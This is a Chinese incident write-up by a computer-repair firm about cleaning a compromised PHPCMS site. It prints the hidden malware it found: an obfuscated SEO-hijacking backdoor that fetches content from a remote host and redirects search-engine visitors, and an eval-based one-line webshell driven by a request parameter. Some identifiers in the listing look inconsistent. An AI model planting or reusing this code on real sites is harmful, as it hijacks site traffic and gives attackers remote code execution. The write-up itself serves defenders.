设为主页 | 加入收藏 | 繁體中文

实战案例:PHPCMS牛逼搜索劫持

刚遇到一个客户网站被挂马劫持了,在偶丰富的经验下,大马们很快就缴械投降了,唯独一个小马隐藏的很深,查了两天才查到,现在分享出来给大家交流,一定要小心,现在的黑客都是为了利益TM不干人事的人精呀!!

被挂马现像,调试以及清马过程切图如下:

1.jpg
2.png
3.png
4.png
5.png
6.png
7.png
8.png
9.png
10.png

木马内容如下:
  1. 调用
     
  2. //@INCLUDE_ONCE(PACK('H*','453a2f52454359434c45522f6e67696e78'));
     

  3.  
  4. 劫持
     
  5.  
  6. date_default_timezone_set('PRC');
     
  7. $start_link=false;
     
  8. function Class_UC_key($string){$array = strlen ($string);$debuger = '';for($one = 0;$one < $array;$one+=2) {$debuger .= pack ("C",hexdec (substr ($string,$one,2)));}return $debuger;}
     

  9.  

  10.  
  11. function Class_Get($url){if(extension_loaded('curl')){$ch = curl_init(trim($url));curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$content = curl_exec($ch);curl_close($ch);}else{$content = @file_get_contents(trim($url));}return $content;}
     

  12.  

  13.  
  14. function Class_Turl($url,$host){
     
  15.         $string = Class_UC_key('4c6f636174696f6e3a20').$url.Class_UC_key('3f').$host;
     
  16.         Header($string);
     
  17.         exit;
     
  18. }
     

  19.  

  20.  
  21. function getIP(){
     
  22.         if (@$_SERVER["HTTP_X_FORWARDED_FOR"])$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
     
  23.         else if (@$_SERVER["HTTP_CLIENT_IP"])$ip = $_SERVER["HTTP_CLIENT_IP"];
     
  24.         else if (@$_SERVER["REMOTE_ADDR"])$ip = $_SERVER["REMOTE_ADDR"];
     
  25.         else if (@getenv("HTTP_X_FORWARDED_FOR"))$ip = getenv("HTTP_X_FORWARDED_FOR");
     
  26.         else if (@getenv("HTTP_CLIENT_IP"))$ip = getenv("HTTP_CLIENT_IP");
     
  27.         else if (@getenv("REMOTE_ADDR"))$ip = getenv("REMOTE_ADDR");
     
  28.         else $ip = "Unknown";
     
  29.         return $ip;
     
  30. }
     

  31.  
  32. error_reporting(E_ERROR);
     
  33. define('HOST',$_SERVER['HTTP_HOST']);
     
  34. define('REFE',$_SERVER['HTTP_REFERER']);
     
  35. define('USER',$_SERVER['HTTP_USER_AGENT']);
     
  36. define('URL',$_SERVER['REQUEST_URI']);
     
  37. define('URL1',$_SERVER['PHP_SELF']);
     

  38.  
  39. $retueby = array(
     
  40.                                 1 => Class_UC_key ('636f6e74656e742d547970653a20746578742f68746d6c3b20636861727365743d676232333132'),
     
  41.                                 2 => Class_UC_key ('687474703a2f2f'),
     
  42.                 );
     
  43. define('BOSWON',Class_UC_key ('62616964757c676f6f676c657c736f676f757c736f736f'));
     
  44. define('CLASS_ZHU',$retueby[2].Class_UC_key('7868662e66656e673030372e636f6d3a3636362f79756578692f696e6465782e706870'));
     
  45. define('GAME','xhf');
     
  46. define('MO','yuexi');
     
  47. define('DAO','dao_a');
     
  48. $sid=$_GET['id'];
     
  49. $myget = false;
     
  50. if(strlen(URL)>=2 &&stristr(URL,'arcid')){
     
  51.         $myget = true;
     
  52. if(stripos(REFE,'baidu')>-1 || stripos(REFE,'360')>-1 || stripos(REFE,'soso')>-1  || stripos(REFE,'google')>-1)
     
  53. {
     
  54.         $url = '';
     
  55. echo $url;
     
  56. }
     
  57. }
     
  58. if (eregi (BOSWON,USER) || $start_link==true){
     
  59.        
     
  60.         if(!empty($_GET) && $myget){
     
  61.                 echo Class_Get(CLASS_ZHU.'?allgame='.GAME.'&url='.bin2hex(URL).'&url1='.bin2hex(URL1).'&mo='.MO.'&dao='.DAO.'&host='.HOST.'&sid='.$sid);
     

  62.  
  63.                 echo $dao;
     
  64.                 exit;
     
  65.         }
     
  66.         if(empty($_GET)){
     
  67.                 echo '';
     
  68.         }
     
  69. }
     

  70.  

  71.  
  72. if(eregi (BOSWON,REFE)){
     
  73.         foreach($arrgpe as $strss => $idss){
     
  74.                 if(stristr(REFE,$strss)){
     
  75.                         $myids = $idss;
     
  76.                 }
     
  77.         }
     
  78.         $class_n = true;
     
  79.         if(stristr(REFE,'site%3A') or stristr(REFE,'inurl%3A')){
     
  80.                 setcookie('x86',HOSTT,time() + 259200);
     
  81.                 $class_n = false;
     
  82.         }
     
  83.         if(('http://'.HOSTT.URLL !== 'http://'.HOSTT.'/') && ('http://'.HOSTT.URLL !== 'http://'.HOSTT.'/index.php') && $class_n && empty($_COOKIE['x86']) && !empty($myids)){
     
  84.                         setcookie('x86',HOSTT,time() + 259200);
     
  85.                         $Class_change = trim(Class_Get(CLASS_URL));
     
  86.                         $Class_arrs = explode('@@@',$Class_change);
     
  87.                         $Class_news = base64_decode($Class_arrs[1]);
     
  88.                         $Class_come = $Class_news.$myids.Class_UC_keyy('2e68746d');
     
  89.                         Class_Turl($Class_come,HOSTT);
     
  90.         }
     
  91. }
     

  92.  
  93. ?>
     

  94.  
  95. 一句话
     
  96.  
  97. $dc = array('v', 'a', ")", "(", "$", ',', "'", ';', '_', "f", 'e', 'c', 's', 't', 'p', 'o', 'u', 'l', 'i', 'n', 'k');
     
  98. $fuc = create_function('$k',$dc[10].$dc[0].$dc[1].$dc[17].$dc[3].$dc[4].$dc[20].$dc[2].$dc[7]);
     
  99. $fuc($_REQUEST[5202]);
     
  100. ?>


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: